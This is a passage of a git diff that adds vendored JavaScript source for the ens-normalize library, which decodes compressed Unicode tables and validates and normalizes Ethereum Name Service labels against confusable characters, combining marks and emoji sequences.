? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +// reverse polyfill +// replace custom nf implementation with system implementation +// (saves approximately 6KB) + + +function nf(cps, form) { + return explode_cp(str_from_cps(cps).normalize(form)); +} + +function nfc(cps) { + return nf(cps, 'NFC'); +} +function nfd(cps) { + return nf(cps, 'NFD'); +} + +const HYPHEN = 0x2D; +const STOP = 0x2E; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + NFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return ESCAPE.has(cp); +} + +// return all supported emoji as fully-qualified emoji +// ordered by length then lexicographic +function ens_emoji() { + init(); + return EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy +} + +function ens_normalize_fragment(frag, decompose) { + init(); + let nf = decompose ? nfd : nfc; + return frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function ens_beautify(name) { + let labels = split(name, nfc, x => x); // emoji not exposed + for (let {type, output, error} of labels) { + if (error) break; // flatten will throw + + // replace leading/trailing hyphen + // 20230121: consider beautifing all or leading/trailing hyphen to unicode variant + // not exactly the same in every font, but very similar: "-" vs "‐" + /* + const UNICODE_HYPHEN = 0x2010; + // maybe this should replace all for visual consistancy? + // `node tools/reg-count.js regex ^-\{2,\}` => 592 + //for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010; + if (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN; + let end = output.length-1; + if (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN; + */ + // 20230123: WHATWG URL uses "CheckHyphens" false + // https://url.spec.whatwg.org/#idna + + // update ethereum symbol + // ξ => Ξ if not greek + if (type !== 'Greek') array_replace(output, 0x3BE, 0x39E); + + // 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed) + // could be fixed with special case for: 2D (.) + 200E (LTR) + // https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824 + //output.splice(0, 0, 0x200E); + } + return flatten(labels); +} + +function array_replace(v, a, b) { + let prev = 0; + while (true) { + let next = v.indexOf(a, prev); + if (next < 0) break; + v[next] = b; + prev = next + 1; + } +} + +function ens_split(name, preserve_emoji) { + return split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + if (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize() + cps.length = pos; // truncate + } + } + return emoji; +} + +// ************************************************************ +// tokenizer + +const TY_VALID = 'valid'; +const TY_MAPPED = 'mapped'; +const TY_IGNORED = 'ignored'; +const TY_DISALLOWED = 'disallowed'; +const TY_EMOJI = 'emoji'; +const TY_NFC = 'nfc'; +const TY_STOP = 'stop'; + +function ens_tokenize(name, { + nf = true, // collapse unnormalized runs into a single token +} = {}) { + init(); + let input = explode_cp(name).reverse(); + let eaten = []; + let tokens = []; + while (input.length) { + let emoji = consume_emoji_reversed(input, eaten); + if (emoji) { + tokens.push({ + type: TY_EMOJI, + emoji: emoji.slice(), // copy emoji + input: eaten, + cps: filter_fe0f(emoji) + }); + eaten = []; // reset buffer + } else { + let cp = input.pop(); + if (cp == STOP) { + tokens.push({type: TY_STOP, cp}); + } else if (VALID.has(cp)) { + tokens.push({type: TY_VALID, cps: [cp]}); + } else if (IGNORED.has(cp)) { + tokens.push({type: TY_IGNORED, cp}); + } else { + let cps = MAPPED.get(cp); + if (cps) { + tokens.push({type: TY_MAPPED, cp, cps: cps.slice()}); + } else { + tokens.push({type: TY_DISALLOWED, cp}); + } + } + } + } + if (nf) { + for (let i = 0, start = -1; i < tokens.length; i++) { + let token = tokens[i]; + if (is_valid_or_mapped(token.type)) { + if (requires_check(token.cps)) { // normalization might be needed + let end = i + 1; + for (let pos = end; pos < tokens.length; pos++) { // find adjacent text + let {type, cps} = tokens[pos]; + if (is_valid_or_mapped(type)) { + if (!requires_check(cps)) break; + end = pos + 1; + } else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { + break; + } + } + if (start < 0) start = i; + let slice = tokens.slice(start, end); + let cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens + let cps = nfc(cps0); + if (compare_arrays(cps, cps0)) { // bundle into an nfc token + tokens.splice(start, end - start, { + type: TY_NFC, + input: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps + cps, + tokens0: collapse_valid_tokens(slice), + tokens: ens_tokenize(str_from_cps(cps), {nf: false}) + }); + i = start; + } else { + i = end - 1; // skip to end of slice + } + start = -1; // reset + } else { + start = i; // remember last + } + } else if (token.type !== TY_IGNORED) { // 20221024: is this correct? + start = -1; // reset + } + } + } + return collapse_valid_tokens(tokens); +} + +function is_valid_or_mapped(type) { + return type == TY_VALID || type == TY_MAPPED; +} + +function requires_check(cps) { + return cps.some(cp => NFC_CHECK.has(cp)); +} + +function collapse_valid_tokens(tokens) { + for (let i = 0; i < tokens.length; i++) { + if (tokens[i].type == TY_VALID) { + let j = i + 1; + while (j < tokens.length && tokens[j].type == TY_VALID) j++; + tokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)}); + } + } + return tokens; +} + +export { ens_beautify, ens_emoji, ens_normalize, ens_normalize_fragment, ens_split, ens_tokenize, is_combining_mark, nfc, nfd, safe_str_from_cps, should_escape }; diff --git a/node_modules/@adraffy/ens-normalize/dist/index.cjs b/node_modules/@adraffy/ens-normalize/dist/index.cjs new file mode 100644 index 000000000000..ffd0ffb413df --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/index.cjs @@ -0,0 +1,1252 @@ +'use strict'; + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AG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iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) 